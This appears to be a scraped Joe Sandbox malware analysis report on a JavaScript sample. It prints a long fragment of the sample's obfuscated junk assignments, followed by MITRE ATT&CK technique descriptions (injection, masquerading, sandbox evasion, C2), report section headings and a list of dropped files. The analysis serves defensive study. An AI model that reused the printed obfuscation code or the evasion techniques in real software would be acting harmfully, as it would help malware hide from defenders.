1217	igxwj = "v";
1218	igxwj = "k";
1219	igxwj = "Y";
1220	igxwj = "q";
1221	igxwj = "E";
1222	igxwj = "M";
1223	igxwj = "Z";
1224	igxwj = "b";
1225	igxwj = "f";
1226	igxwj = "j";
1227	igxwj = "Z";
1228	igxwj = "j";
1229	igxwj = "z";
1230	igxwj = "e";
1231	igxwj = "u";
1232	igxwj = "g";
1233	igxwj = "u";
1234	igxwj = "y";
1235	igxwj = "X";
1236	igxwj = "n";
1237	igxwj = "Z";
1238	igxwj = "X";
1239	igxwj = "T";
1240	igxwj = "0";
1241	jsqlcywz = "d";
1242	jsqlcywz = "m";
1243	jsqlcywz = "G";
1244	jsqlcywz = "V";
1245	jsqlcywz = "Z";
1246	jsqlcywz = "o";
1247	jsqlcywz = "E";
1248	jsqlcywz = "H";
1249	jsqlcywz = "m";
1250	jsqlcywz = "z";
1251	jsqlcywz = "g";
1252	jsqlcywz = "G";
1253	jsqlcywz = "N";
1254	jsqlcywz = "M";
1255	jsqlcywz = "g";
1256	jsqlcywz = "R";
1257	jsqlcywz = "V";
1258	jsqlcywz = "k";
1259	jsqlcywz = "D";
1260	jsqlcywz = "s";
1261	jsqlcywz = "B";
1262	jsqlcywz = "W";
1263	jsqlcywz = "k";
1264	jsqlcywz = "j";
1265	jsqlcywz = "C";
1266	jsqlcywz = "c";
1267	jsqlcywz = "i";
1268	jsqlcywz = "V";
1269	jsqlcywz = "C";
1270	zrtzf = "M";
1271	zrtzf = "z";
1272	zrtzf = "b";
1273	zrtzf = "I";
1274	zrtzf = "W";
1275	zrtzf = "S";
1276	zrtzf = "X";
1277	zrtzf = "j";
1278	zrtzf = "l";
1279	zrtzf = "k";
1280	zrtzf = "M";
1281	zrtzf = "C";
1282	zrtzf = "C";
1283	zrtzf = "I";
1284	zrtzf = "z";
1285	zrtzf = "u";
1286	zrtzf = "p";
1287	zrtzf = "L";
1288	zrtzf = "E";
1289	zrtzf = "v";
1290	zrtzf = "o";
1291	zrtzf = "w";
1292	zrtzf = "X";
1293	zrtzf = "V";
1294	zrtzf = "D";
1295	zrtzf = "O";
1296	zrtzf = "k";
1297	zrtzf = "z";
1298	zrtzf = "B";
1299	zrtzf = "m";
1300	zrtzf = "r";
1301	zrtzf = "i";
1302	zrtzf = "m";
1303	zrtzf = "V";
1304	zrtzf = "F";
1305	ftabvqgns = "R";
1306	ftabvqgns = "C";
1307	ftabvqgns = "c";
1308	ftabvqgns = "U";
1309	ftabvqgns = "l";
1310	ftabvqgns = "P";
1311	ftabvqgns = "X";
1312	ftabvqgns = "X";
1313	ftabvqgns = "E";
1314	ftabvqgns = "Z";
1315	ftabvqgns = "Z";
1316	ftabvqgns = "Z";
1317	ftabvqgns = "X";
1318	ftabvqgns = "E";
1319	ftabvqgns = "I";
1320	ftabvqgns = "A";
1321	ftabvqgns = "V";
1322	ftabvqgns = "z";
1323	ftabvqgns = "s";
1324	ftabvqgns = "m";
1325	ftabvqgns = "X";
1326	ftabvqgns = "n";
1327	ftabvqgns = "X";
1328	ftabvqgns = "f";
1329	ftabvqgns = "T";
1330	ftabvqgns = "M";
1331	ftabvqgns = "b";
1332	ftabvqgns = "i";
1333	ftabvqgns = "u";
1334	ftabvqgns = "Q";
1335	ftabvqgns = "r";
1336	ftabvqgns = "N";
1337	ftabvqgns = "e";
1338	exvst = "W";
1339	exvst = "r";
1340	exvst = "e";
1341	exvst = "m";
1342	exvst = "I";
1343	exvst = "P";
1344	exvst = "u";
1345	exvst = "H";
1346	exvst = "c";
1347	exvst = "J";
1348	exvst = "q";
1349	exvst = "b";
1350	xeoliiheo = "S";
1351	xeoliiheo = "I";
1352	xeoliiheo = "B";
1353	xeoliiheo = "w";
1354	xeoliiheo = "m";
1355	xeoliiheo = "l";
1356	xeoliiheo = "W";
1357	xeoliiheo = "P";
1358	xeoliiheo = "a";
1359	xeoliiheo = "E";
1360	xeoliiheo = "F";
1361	xeoliiheo = "m";
1362	xeoliiheo = "a";
1363	xeoliiheo = "y";
1364	xeoliiheo = "f";
1365	xeoliiheo = "C";
1366	xeoliiheo = "Y";
1367	xeoliiheo = "o";
1368	xeoliiheo = "M";
1369	xeoliiheo = "K";
1370	xeoliiheo = "h";
1371	xeoliiheo = "T";
1372	xeoliiheo = "g";
1373	xeoliiheo = "l";
1374	xeoliiheo = "l";
1375	xeoliiheo = "y";
1376	xeoliiheo = "P";
1377	xeoliiheo = "h";
1378	xeoliiheo = "j";
1379	xeoliiheo = "L";
1380	xeoliiheo = "f";
1381	xeoliiheo = "m";
1382	xeoliiheo = "y";
1383	xeoliiheo = "d";
1384	xeoliiheo = "E";
1385	xeoliiheo = "x";
1386	dfegbiudg = "X";
1387	dfegbiudg = "a";
1388	dfegbiudg = "h";
1389	dfegbiudg = "j";
1390	dfegbiudg = "B";
1391	dfegbiudg = "g";
1392	dfegbiudg = "K";
1393	dfegbiudg = "t";
1394	dfegbiudg = "l";
1395	dfegbiudg = "U";
1396	dfegbiudg = "v";
1397	dfegbiudg = "O";
1398	dfegbiudg = "E";
1399	dfegbiudg = "e";
1400	dfegbiudg = "c";
1401	dfegbiudg = "S";
1402	dfegbiudg = "s";
1403	obaxhj = "E";
1404	obaxhj = "k";
1405	obaxhj = "a";
1406	obaxhj = "D";
1407	obaxhj = "o";
1408	obaxhj = "y";
1409	obaxhj = "e";
1410	obaxhj = "J";
1411	obaxhj = "U";
1412	obaxhj = "i";
1413	obaxhj = "k";
1414	obaxhj = "A";
1415	obaxhj = "g";
1416	obaxhj = "l";
1417	obaxhj = "P";
1418	obaxhj = "J";
1419	obaxhj = "J";
1420	obaxhj = "Q";
1421	obaxhj = "J";
1422	obaxhj = "d";
1423	obaxhj = "U";
1424	obaxhj = "z";
1425	obaxhj = "v";
1426	obaxhj = "A";
1427	obaxhj = "m";
1428	obaxhj = "T";
1429	obaxhj = "c";
1430	obaxhj = "x";
1431	obaxhj = "s";
1432	obaxhj = "o";
1433	obaxhj = "b";
1434	obaxhj = "T";
1435	kcgvoc = "P";
1436	kcgvoc = "G";
1437	kcgvoc = "R";
1438	kcgvoc = "y";
1439	kcgvoc = "L";
1440	kcgvoc = "Z";
1441	kcgvoc = "D";
1442	kcgvoc = "U";
1443	kcgvoc = "N";
1444	kcgvoc = "f";
1445	kcgvoc = "b";
1446	kcgvoc = "R";
1447	kcgvoc = "z";
1448	kcgvoc = "G";
1449	kcgvoc = "J";
1450	kcgvoc = "U";
1451	kcgvoc = "x";
1452	kcgvoc = "w";
1453	kcgvoc = "l";
1454	qsmblja = "A";
1455	qsmblja = "V";
1456	qsmblja = "p";
1457	qsmblja = "n";
1458	qsmblja = "w";
1459	qsmblja = "C";
1460	qsmblja = "y";
1461	qsmblja = "n";
1462	qsmblja = "t";
1463	qsmblja = "H";
1464	qsmblja = "d";
1465	qsmblja = "w";
1466	qsmblja = "F";
1467	qsmblja = "t";
1468	qsmblja = "M";
1469	qsmblja = "U";
1470	qsmblja = "g";
1471	qsmblja = "D";
1472	qsmblja = "Z";
1473	qsmblja = "O";
1474	qsmblja = "o";
1475	qsmblja = "P";
1476	qsmblja = "l";
1477	qsmblja = "w";
1478	qsmblja = "R";
1479	qsmblja = "a";
1480	qsmblja = "M";
1481	qsmblja = "x";
1482	qsmblja = "N";
1483	qsmblja = "i";
1484	qsmblja = "L";
1485	qsmblja = "u";
1486	qsmblja = "K";
1487	qsmblja = "y";
1488	qsmblja = "x";
1489	qsmblja = "P";
1490	qsmblja = "n";
1491	qsmblja = "A";
1492	qsmblja = "P";
1493	qsmblja = "6";
1494	amwsrrahp = "J";
1495	amwsrrahp = "c";
1496	amwsrrahp = "D";
1497	amwsrrahp = "e";
1498	amwsrrahp = "j";
1499	amwsrrahp = "L";
1500	amwsrrahp = "M";
1501	amwsrrahp = "j";
1502	amwsrrahp = "D";
1503	amwsrrahp = "S";
1504	amwsrrahp = "J";
1505	amwsrrahp = "n";
1506	amwsrrahp = "m";
1507	amwsrrahp = "V";
1508	amwsrrahp = "F";
1509	amwsrrahp = "s";
1510	amwsrrahp = "p";
1511	amwsrrahp = "g";
1512	amwsrrahp = "c";
1513	amwsrrahp = "A";
1514	amwsrrahp = "g";
1515	amwsrrahp = "E";
1516	amwsrrahp = "p";
1517	amwsrrahp = "i";
1518	amwsrrahp = "S";
1519	amwsrrahp = "L";
1520	amwsrrahp = "n";
1521	amwsrrahp = "v";
1522	amwsrrahp = "O";
1523	avuhsw = "M";
1524	avuhsw = "C";
1525	avuhsw = "j";
1526	avuhsw = "K";
1527	avuhsw = "q";
1528	avuhsw = "F";
1529	avuhsw = "A";
1530	avuhsw = "F";
1531	avuhsw = "o";
1532	avuhsw = "m";
1533	avuhsw = "t";
1534	avuhsw = "G";
1535	avuhsw = "B";
1536	avuhsw = "n";
1537	avuhsw = "k";
1538	avuhsw = "d";
1539	avuhsw = "e";
1540	avuhsw = "Z";
1541	avuhsw = "M";
1542	avuhsw = "c";
1543	avuhsw = "m";
1544	avuhsw = "m";
1545	avuhsw = "Z";
1546	avuhsw = "B";
1547	avuhsw = "t";
1548	avuhsw = "J";
1549	avuhsw = "W";
1550	avuhsw = "B";
1551	avuhsw = "P";
1552	avuhsw = "C";
1553	avuhsw = "L";
1554	avuhsw = "F";
1555	avuhsw = "S";
1556	avuhsw = "g";
1557	avuhsw = "n";
1558	avuhsw = "N";
1559	avuhsw = "G";
1560	avuhsw = "o";
1561	avuhsw = "c";
1562	avuhsw = "L";
1563	avuhsw = "D";
1564	avuhsw = "h";
1565	avuhsw = "P";
1566	iwtuer ( );	iwtuer() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1487427797195518826.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\092a33cf-6112-4704-984f-4aa76640cd72.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
1487427797195518826.js